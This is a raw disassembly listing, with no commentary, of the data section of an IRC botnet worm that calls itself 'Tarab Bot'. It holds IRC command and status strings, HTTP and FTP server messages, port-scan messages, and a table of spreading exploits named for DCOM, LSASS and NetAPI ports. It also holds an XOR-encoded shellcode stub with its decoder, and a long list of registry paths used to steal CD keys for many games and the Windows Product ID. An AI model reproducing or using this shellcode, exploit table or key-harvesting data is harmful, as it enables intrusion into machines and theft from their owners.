; DATA XREF: sub_4061E4+439o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4061E4+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_4065B1o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4061E4+3C6o align 10h aSS_0 db '%s%s/',0 ; DATA XREF: sub_4061E4+379o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+335o ; sub_4061E4+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4061E4+308o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_4061E4+2DEo ; sub_4061E4+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4061E4+2B4o aAm db 'AM',0 ; DATA XREF: sub_4061E4+293o align 10h aPm db 'PM',0 ; DATA XREF: sub_4061E4+284o align 4 a__ db '..',0 ; DATA XREF: sub_4061E4+231o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+146o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4061E4+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4061E4+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4061E4+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406950+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_429B90 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_406A71+48Do dword_429BA0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_406A71+479o dd 2BBBB02h, 61726154h, 6F422062h, 74202074h, 736E6172h dd 20726566h, 20206F74h, 20207325h, 75731F02h, 73656363h dd 6C756673h, 6320796Ch, 6C706D6Fh, 64657465h, 202C021Fh dd 6F666E69h, 2528203Ah, 2E2973h dword_429BFC dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_406A71+3B6o dd 2BBBB02h aTarabBotFileNo db ' Tarab Bot File not found: %s (%s).',0 dword_429C38 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh, 0 ; DATA XREF: sub_406A71+399o dword_429C50 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_406A71+33Eo dd 2BBBB02h, 72615420h, 42206261h, 2020746Fh, 6E617274h dd 72656673h, 206F7420h, 20732520h, 621F0220h, 6E696765h dd 676E696Eh, 202C021Fh, 6F666E69h, 2528203Ah, 2E2973h unk_429CA0 db 2 ; DATA XREF: sub_406A71+15Ao db 36h, 2, 72h db 62h ; b db 20h, 28h, 74h db 66h ; f db 74h, 70h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotFailed db 'Tarab Bot Failed to open file: %s.',0 align 10h dword_429CE0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_406A71+6Ao dd 2BBBB02h aTarabBotErrorS db ' Tarab Bot Error: socket() failed, returned: <%d>.',0 align 10h aOctet db 'octet',0 ; DATA XREF: sub_406A71+Fo align 4 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_4075B8+155o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: .data:00405215o align 4 dd 5 dup(0) dword_429D60 dd 87h ; DATA XREF: sub_406F62+1Er ; sub_40EC43+3079r ... off_429D64 dd offset sub_402DB1 ; DATA XREF: sub_4075B8+1D7r dword_429D68 dd 0 ; DATA XREF: sub_402DB1+2E1r ; .data:004037DDr ... dword_429D6C dd 1 ; DATA XREF: sub_4070A3+1Fr dword_429D70 dd 0 ; DATA XREF: sub_4070A3:loc_407314r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DB1h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DB1h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403660h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403660h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403660h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40424Ah, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40424Ah, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404EE8h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404EE8h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 404F40h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 405132h, 0 ; CODE XREF: sub_42A04A:loc_42A05Fj dd 1, 11h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42A05A ; =============== S U B R O U T I N E ======================================= sub_42A04A proc near ; CODE XREF: sub_42A04A:loc_42A05Ap pop edx dec edx xor ecx, ecx mov cx, 166h loc_42A052: ; CODE XREF: sub_42A04A+Cj xor byte ptr [edx+ecx], 99h loop loc_42A052 jmp short loc_42A05F ; --------------------------------------------------------------------------- loc_42A05A: ; CODE XREF: .data:0042A048j call sub_42A04A loc_42A05F: ; CODE XREF: sub_42A04A+Ej jo short near ptr dword_429FF4+6 cwde cdq cdq retn sub_42A04A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_406F62+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_406F62+42o align 4 dword_42A1E8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_406F62+11o dd 2029671Fh, 2BBBB02h aTarabBotExploi db ' Tarab Bot Exploit Statistics:',0 align 4 dword_42A228 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_40702C+42o dd 2029671Fh, 2BBBB02h aTarabBotScanNo db ' Tarab Bot Scan not active.',0 align 4 dword_42A264 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_40702C+2Co dd 2029671Fh, 2BBBB02h aTarabBotCurren db ' Tarab Bot Current IP: %s.',0 align 10h unk_42A2A0 db 2 ; DATA XREF: sub_4070A3+35Do db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotFail_0 db ' Tarab Bot Failed to start server, error: <%d>.',0 align 10h unk_42A2F0 db 2 ; DATA XREF: sub_4070A3+307o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTarabBotServer db ' Tarab Bot Server listening on IP: %s:%d, Directory: %s\.',0 align 4 unk_42A348 db 2 ; DATA XREF: sub_4070A3+252o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 66h ; f db 74h, 70h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotFail_1 db ' Tarab Bot Failed to start server, error: <%d>.',0 align 8 unk_42A398 db 2 ; DATA XREF: sub_4070A3+1FBo db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 66h ; f db 74h, 70h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotServ_0 db ' Tarab Bot Server started on Port: %d, File: %s, Request: %s.',0 align 10h dword_42A3F0 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4070A3+138o dd 2BBBB02h aTarabBotFail_2 db ' Tarab Bot Failed to start server, error: <%d>.',0 align 10h dword_42A440 dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4070A3+D8o dd 2BBBB02h aTarabBotServ_1 db ' Tarab Bot Server started on Port: %d, File: %s, Request: %s.',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40747F+38o ; sub_40AD08+46o align 8 dword_42A4A8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_4075B8+DCo dd 2029671Fh, 2BBBB02h aTarabBotIpSPor db ' Tarab Bot IP: %s, Port %d is open.',0 align 10h dword_42A4F0 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_4075B8+84o dd 2029671Fh, 2BBBB02h aTarabBotIpSDSc db ' Tarab Bot IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 dword_42A548 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_4077CC+1E0o dd 2029671Fh, 2BBBB02h aTarabBotFinish db ' Tarab Bot Finished at %s:%d after %d minute(s) of scanning.',0 align 8 dword_42A5A8 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_4077CC+168o dd 2029671Fh, 2BBBB02h aTarabBotFail_3 db ' Tarab Bot Failed to start worker thread, error: <%d>.',0 align 10h unk_42A600 db 2 ; DATA XREF: sub_4077CC+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 dword_42A648 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh ; DATA XREF: sub_4077CC+87o dd 2029671Fh, 2BBBB02h aTarabBotFail_4 db ' Tarab Bot Failed to initialize critical section.',0 unk_42A698 db 2 ; DATA XREF: sub_407A23+143o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 8 unk_42A6E8 db 2 ; DATA XREF: sub_407A23+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_42A740 db 2 ; DATA XREF: sub_407BAA+157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_0 db ' Failed to start connection thread, error: <%d>.',0 unk_42A790 db 2 ; DATA XREF: sub_407BAA+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_42A7E4 db 2 ; DATA XREF: sub_407E2F+1B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server on Port %d.',0 align 8 unk_42A828 db 2 ; DATA XREF: sub_407E2F+17Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_1 db 'Failed to start client thread, error: <%d>.',0 unk_42A870 db 2 ; DATA XREF: sub_407E2F+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 20h, 54h aArabBotClientC db 'arab Bot Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42A8CC db 2 ; DATA XREF: sub_407E2F+A8o ; sub_40EC43+5E0Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStartedO db 'Server started on: %s:%d.',0 align 8 unk_42A908 db 2 ; DATA XREF: sub_408033+1F9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42A958 db 2 ; DATA XREF: sub_408033+18Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 align 8 unk_42A9A8 db 2 ; DATA XREF: sub_408033+F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4083F0+11o aWindow db 'Window',0 ; DATA XREF: sub_40862B+23o ; sub_408824+26o align 8 dd 80000001h off_42AA0C dd offset aSoftwareValveC ; DATA XREF: sub_408A63+Cr ; sub_408A63+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_42AA18 dd 2 dup(0) ; DATA XREF: sub_408A63+26o dd 80000001h, 42BBB0h, 42BBA4h, 42BB94h, 2 dup(0) dd 80000001h, 42BB74h, 42BB70h, 42BB5Ch, 2 dup(0) dd 80000001h, 42BB38h, 42BB70h, 42BB2Ch, 2 dup(0) dd 80000001h, 42BB08h, 42BB00h, 42BAECh, 2 dup(0) dd 80000001h, 42BAD8h, 42BAC8h, 42BAACh, 2 dup(0) dd 80000001h, 42BA68h, 42BBF0h, 42BA54h, 2 dup(0) dd 80000002h, 42BA28h, 42BA1Ch, 42B9FCh, 2 dup(0) dd 80000002h, 42B9C8h, 42BBF0h, 42B9B0h, 2 dup(0) dd 80000002h, 42B97Ch, 42BBF0h, 42B964h, 2 dup(0) dd 80000002h, 42B94Ch, 42BBF0h, 42B934h, 2 dup(0) dd 80000002h, 42B8F8h, 43BCE8h, 42B8E8h, 2 dup(0) dd 80000002h, 42B8B0h, 43BCE8h, 42B89Ch, 2 dup(0) dd 80000002h, 42B850h, 43BCE8h, 42B830h, 2 dup(0) dd 80000002h, 42B7E0h, 43BCE8h, 42B7B0h, 2 dup(0) dd 80000002h, 42B774h, 43BCE8h, 42B760h, 2 dup(0) dd 80000002h, 42B728h, 43BCE8h, 42B718h, 2 dup(0) dd 80000002h, 42B6C8h, 43BCE8h, 42B698h, 2 dup(0) dd 80000002h, 42B658h, 43BCE8h, 42B638h, 2 dup(0) dd 80000002h, 42B608h, 43BCE8h, 42B5E8h, 2 dup(0) dd 80000002h, 42B5ACh, 43BCE8h, 42B598h, 2 dup(0) dd 80000002h, 42B550h, 43BCE8h, 42B52Ch, 2 dup(0) dd 80000002h, 42B4D8h, 43BCE8h, 42B4A8h, 2 dup(0) dd 80000002h, 42B458h, 43BCE8h, 42B42Ch, 2 dup(0) dd 80000002h, 42B3ECh, 42B3E4h, 42B3C4h, 2 dup(0) dd 80000002h, 42B380h, 43BCE8h, 42B364h, 2 dup(0) dd 80000002h, 42B318h, 43BCE8h, 42B2F4h, 2 dup(0) dd 80000002h, 42B2C0h, 43BCE8h, 42B2B4h, 2 dup(0) dd 80000002h, 42B280h, 43BCE8h, 42B274h, 2 dup(0) dd 80000002h, 42B240h, 43BCE8h, 42B234h, 2 dup(0) dd 80000002h, 42B200h, 43BCE8h, 42B1F4h, 2 dup(0) dd 80000002h, 42B1B8h, 43BCE8h, 42B1A4h, 2 dup(0) dd 80000002h, 42B168h, 43BCE8h, 42B154h, 2 dup(0) dd 80000002h, 42B124h, 42BBF0h, 42B108h, 2 dup(0) dd 80000002h, 42B0E8h, 42B0E0h, 42B0BCh, 2 dup(0) dd 80000002h, 42B0A0h, 42B0E0h, 42B080h, 2 dup(0) dd 80000002h, 42B060h, 42B0E0h, 42B03Ch, 2 dup(0) dd 80000002h, 42B024h, 42B0E0h, 42B020h, 2 dup(0) dd 80000002h, 42B004h, 42AFF4h, 42AFECh, 2 dup(0) dd 80000002h, 42AFB8h, 42AFB4h, 42AF9Ch, 2 dup(0) dd 80000002h, 42AF60h, 42AF54h, 42AF2Ch, 42AF1Ch, 42AF08h dd 80000002h, 42AEE4h, 42AED8h, 42AEC4h, 42AEB4h, 42AEACh dd 80000002h, 42AEE4h, 42AED8h, 42AE80h, 42AEB4h, 42AE78h dd 80000002h, 42AEE4h, 42AED8h, 42AE48h, 42AEB4h, 42AE40h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: .data:00430634o db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 10h aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 10h aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 10h db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 8 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 8 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 10h aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 